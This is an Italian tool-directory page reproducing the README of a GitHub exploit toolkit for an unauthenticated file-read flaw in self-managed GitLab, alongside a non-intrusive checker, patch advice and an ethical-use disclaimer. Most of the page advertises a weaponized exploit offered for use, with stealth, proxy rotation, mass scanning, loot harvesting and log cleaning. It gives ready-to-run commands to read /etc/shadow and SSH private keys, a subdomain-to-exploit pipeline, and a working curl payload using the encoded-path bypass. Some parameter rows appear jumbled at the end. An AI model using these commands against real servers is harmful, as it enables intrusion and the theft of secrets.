Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/tc4dy/cve-2026-85706-poc-toolkit
Strumenti DifensiviScanner di VulnerabilitàAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPost-ExploitSicurezza WebPenetration Testing

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Red Teaming
GitHubtc4dy/cve-2026-85706-poc-toolkit

CVE-2026-85706-PoC-Toolkit

Toolkit Python per la lettura non autenticata di file in GitLab CVE-2026-85706: exploit weaponized con loot, shell, scansione di massa, più audit e reporting non intrusivi con SafeChecker.

Vedi RepositorySito web
110h 21m faNon ancora revisionato
Condividi

CVEPoC

CVE‑2026‑85706 – Toolkit per la lettura non autenticata di file in GitLab

Python 3.8+ CVSS Author GitLab

⚠️ SOLO USO ETICO – TEST DI SICUREZZA AUTORIZZATI
Questo repository fornisce strumenti esclusivamente per professionisti della sicurezza autorizzati, blue team e penetration tester.
L'accesso non autorizzato a sistemi informatici è illegale ai sensi del CFAA (USA), Computer Misuse Act (Regno Unito), TCK 243/244 (Turchia) e leggi simili in tutto il mondo.


📖 Panoramica della vulnerabilità

CVE‑2026‑85706 è una vulnerabilità critica di lettura arbitraria di file locali non autenticata in GitLab CE/EE self-managed (versioni dalla 18.7 alla 19.3.1) che consente a un attaccante non autenticato di leggere qualsiasi file sul server tramite una singola richiesta HTTP all'API dei commit.

Come funziona

  1. Discrepanza di parsing tra Workhorse e Puma – GitLab Workhorse convalida il percorso della richiesta prima della decodifica percentuale, mentre Puma/Rails lo decodifica dopo. Ciò consente di aggirare i controlli di sicurezza di Workhorse utilizzando caratteri codificati come %63ommits.
  2. Apertura del file pre-autenticazione – l'endpoint /api/v4/projects/{id}/repository/commits apre il file specificato in file.path prima che venga applicata l'autenticazione.
  3. Echo del contenuto tramite errore – se il file contiene una %-sequence non valida, Rack restituisce il contenuto in un corpo 400 Bad Request, rivelando il contenuto completo.
  4. Impatto – segreti, token, chiavi SSH, variabili CI/CD, credenziali del database e movimento laterale nell'infrastruttura GitLab. Aggiornare immediatamente!

Versioni interessate

  • 18.7.0 – 19.1.7 – vulnerabile
  • 19.2.0 – 19.2.5 – vulnerabile
  • 19.3.0 – 19.3.1 – vulnerabile

Patch

  • Aggiornare a 19.1.8, 19.2.6 o 19.3.2 o versioni successive.
  • Se l'aggiornamento non è possibile, limitare l'accesso di rete a GitLab (non esporlo mai a Internet) e ruotare tutti i token/segreti come soluzione temporanea.

🧰 Strumenti

StrumentoScopoUtente previsto
exploit.pyToolkit completo weaponized con lettura di file non autenticata, enumerazione del loot, estrazione di token admin, scansione di massa, shell interattiva, rotazione proxy, modalità stealth e reportistica multi-formato.Red team / pentester autorizzati
safechecker.pyVerificatore di vulnerabilità non intrusivo che rileva la versione di GitLab, convalida l'esposizione, verifica gli header di sicurezza e valuta il rischio senza leggere alcun file. Genera report JSON/CSV/HTML.Blue team / auditor di sicurezza

📊 Confronto delle funzionalità

Funzionalitàexploit.pysafechecker.py
Rilevamento della vulnerabilità✅✅
Rilevamento della versione✅✅
Lettura di file non autenticata✅❌
Enumerazione del loot✅❌
Estrazione di token admin✅❌
Shell interattiva✅❌
Scansione di massa (multi-thread)✅✅
Verifica degli header di sicurezza❌✅
Controllo TLS/certificato❌✅
Mappatura MITRE ATT&CK✅✅
Supporto proxy✅✅
Rotazione proxy✅❌
Rotazione User-Agent (OPSEC)✅❌
Jitter / delay (OPSEC)✅❌
Rate limiter adattivo✅✅
Modalità stealth✅❌
Impersonificazione TLS con curl_cffi✅❌
Modalità non intrusiva (sicura)❌✅
Output JSON / JSONL / CSV / HTML✅✅
Output su DB SQLite✅❌
Notifica webhook✅✅
Diff rispetto alla scansione precedente✅✅

🎯 Riepilogo dei casi d'uso

ScenarioStrumento consigliato
Blue Team – verificare se il proprio GitLab è vulnerabilesafechecker.py
Audit di sicurezza – valutazione non intrusiva della vulnerabilitàsafechecker.py
Red Team – penetration testing autorizzato con sfruttamento completoexploit.py
Bug Bounty – test per la divulgazione responsabilesafechecker.py
Scansione di massa – verifica di più target per la vulnerabilitàexploit.py (solo rilevamento)
Incident Response – verificare se i sistemi sono compromessisafechecker.py

⚙️ Installazione

root@kitploit:~
git clone https://github.com/tc4dy/CVE-2026-85706-PoC-Toolkit
cd CVE-2026-85706-PoC-Toolkit
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests
urllib3
curl_cffi
rich
pyyaml

📋 Parametri

Parametri di exploit.py

ParametroDescrizione
-u, --urlURL di un singolo target (es. https://gitlab.example.com)
-f, --fileFile contenente l'elenco dei target (uno per riga)
--pipeLegge i target da stdin (pipeline subfinder/httpx)
--readPercorso/i assoluto/i da leggere, separati da virgola
--wordlistFile con i percorsi da leggere (uno per riga)
--project-idForza un ID di progetto specifico
--max-projectsNumero massimo di ID di progetto da provare (predefinito: 8)
--autoRaccoglie automaticamente i file GitLab di alto valore
--lootUguale a --auto
--shellShell interattiva dopo lo sfruttamento
--forceEsegue la scansione anche se il fingerprint di GitLab è debole
-t, --threadsThread per multi-target (predefinito: 8)
--timeoutTimeout HTTP (predefinito: 15s)
--retryNumero di tentativi (predefinito: 3)
--retry-onCodici HTTP su cui ritentare (predefinito: 429,500,502,503,504)
--proxyProxy HTTP/HTTPS
--proxy-listFile con i proxy per la rotazione
--proxy-rotateStrategia di rotazione: round-robin, random, sticky
--jitterAggiunge jitter casuale tra le richieste
--jitter-rangeJitter min,max in secondi (predefinito: 0.1,2.0)
--delayRitardo fisso tra le richieste
--stealth

Parametri di safechecker.py

ParametroDescrizione
-u, --urlURL di un singolo target (es. https://gitlab.example.com)
-f, --fileFile con i target (uno per riga)
-t, --threadsThread per multi-target (predefinito: 5)
--timeoutTimeout HTTP (predefinito: 10s)
--rate-limitNumero massimo di richieste al secondo (0 = illimitato)
--user-agentStringa User-Agent personalizzata
--insecureDisabilita la verifica TLS (rischio MITM)
--webhookURL del webhook (slack:, discord:, telegram:)
--diffConfronta con il JSON della scansione precedente
-v, --verboseOutput dettagliato
-o, --outputFile di output JSON
--csvFile di output CSV
--reportFile di report HTML
--mitreInclude la mappatura MITRE ATT&CK (predefinito: attivo)

💥 Scenari

#ScenarioComando
1Verifica rapida della vulnerabilitàpython safechecker.py -u https://gitlab.example.com
2Audit dettagliato con reportpython safechecker.py -u https://gitlab.example.com -o report.json --csv report.csv --report report.html -v
3Audit di massa da filepython safechecker.py -f targets.txt -t 10 --rate-limit 5
4Exploit solo rilevamentopython exploit.py -u https://gitlab.example.com --safe-mode
5Leggere un singolo filepython exploit.py -u https://gitlab.example.com --read /etc/passwd
6Leggere più filepython exploit.py -u https://gitlab.example.com --read /etc/passwd,/etc/shadow,/root/.ssh/id_rsa
7Raccolta automatica di file di alto valorepython exploit.py -u https://gitlab.example.com --auto
8Shell interattivapython exploit.py -u https://gitlab.example.com --shell
9Exploit di massa con stealthpython exploit.py -f targets.txt -t 20 --stealth --jitter --auto -o hits.jsonl --output-format jsonl
10Pipeline da subfindersubfinder -d example.com -silent | httpx -silent -sc | python exploit.py --pipe --auto -o hits.jsonl
11Attacco completo con output SIEMpython exploit.py -u https://gitlab.example.com --auto --grep "password|secret|token" --mitre --json-schema -o siem.json
12Riprendere una scansione interrottapython exploit.py -f targets.txt --auto --resume state.json
13Confrontare due scansionipython safechecker.py -f targets.txt -o new.json --diff previous.json

🧪 Endpoint e catena di sfruttamento

L'exploit utilizza i seguenti endpoint di GitLab e tecniche di bypass:

PassoMetodoEndpointDescrizione
1. BypassPOST/api/v4/projects/{id}/repository/%63ommitsLa c codificata aggira Workhorse
2. BypassPOST/api/v4/projects/{id}/%72epository/commitsLa r codificata in repository
3. BypassPOST/api/v4/projects/{id}/repository/commits/Bypass con slash finale
4. BypassPOST/api/v4/projects/{id}/repository/commits.jsonBypass con suffisso formato Grape
5. Files APIPOST/api/v4/projects/{id}/repository/files/xRotta alternativa

Formato del payload

root@kitploit:~
file=&file.path=/etc/passwd&file.size=1

curl pronto all'uso

root@kitploit:~
curl -sk -X POST "https://gitlab.example.com/api/v4/projects/1/repository/%63ommits?file=&file.path=/etc/passwd&file.size=1&Content-Type=application/x-www-form-urlencoded"

🛡️ Uso responsabile

  • Usa questi strumenti solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta a eseguire test.
  • L'accesso non autorizzato è illegale e non etico.
  • Gli autori non sono responsabili per qualsiasi uso improprio.
  • Rispetta sempre le leggi e i regolamenti del tuo paese.

Questo software è fornito solo a scopo didattico e per test di sicurezza autorizzati.

Scarica lo strumento
Pulizia dei log (anti-forense)
✅
❌
User-Agent personalizzato✅✅
Controllo della verifica SSL✅✅
Abilita la modalità stealth (rotazione UA + X-Forwarded-For)
--curl-cffiUsa curl_cffi per l'impersonificazione del fingerprint TLS
--user-agent-fileFile con le stringhe User-Agent
--max-bodyDimensione massima del corpo della risposta (0 = illimitata)
--concurrent-per-hostNumero massimo di richieste concorrenti per host
--rate-limitNumero massimo di richieste al secondo (0 = illimitato)
--excludeHost da escludere separati da virgola (pattern glob)
--grepMostra solo le fughe di dati che corrispondono alla regex
--resumeRiprende dal file di stato
--notifyURL di notifica (slack:, discord:, telegram:)
--dbSalva i risultati in un database SQLite
--output-formatFormato di output: json, jsonl, csv, html
-o, --outputPercorso del file di output
-v, --verboseOutput dettagliato
-q, --quietModalità silenziosa
--no-colorDisabilita i colori
--no-bannerNessun banner
--configFile di configurazione YAML/JSON
--dry-runMostra il piano senza effettuare richieste
--safe-modeLegge solo /etc/hostname per verificare
--timeout-profileaggressive, normal, stealth
--mitreInclude la mappatura MITRE ATT&CK
--fingerprintFingerprint dettagliato di GitLab
--cve-checkVerifica CVE correlate
--json-schemaOutput con schema JSON per SIEM
--progressMostra la barra di avanzamento (richiede rich)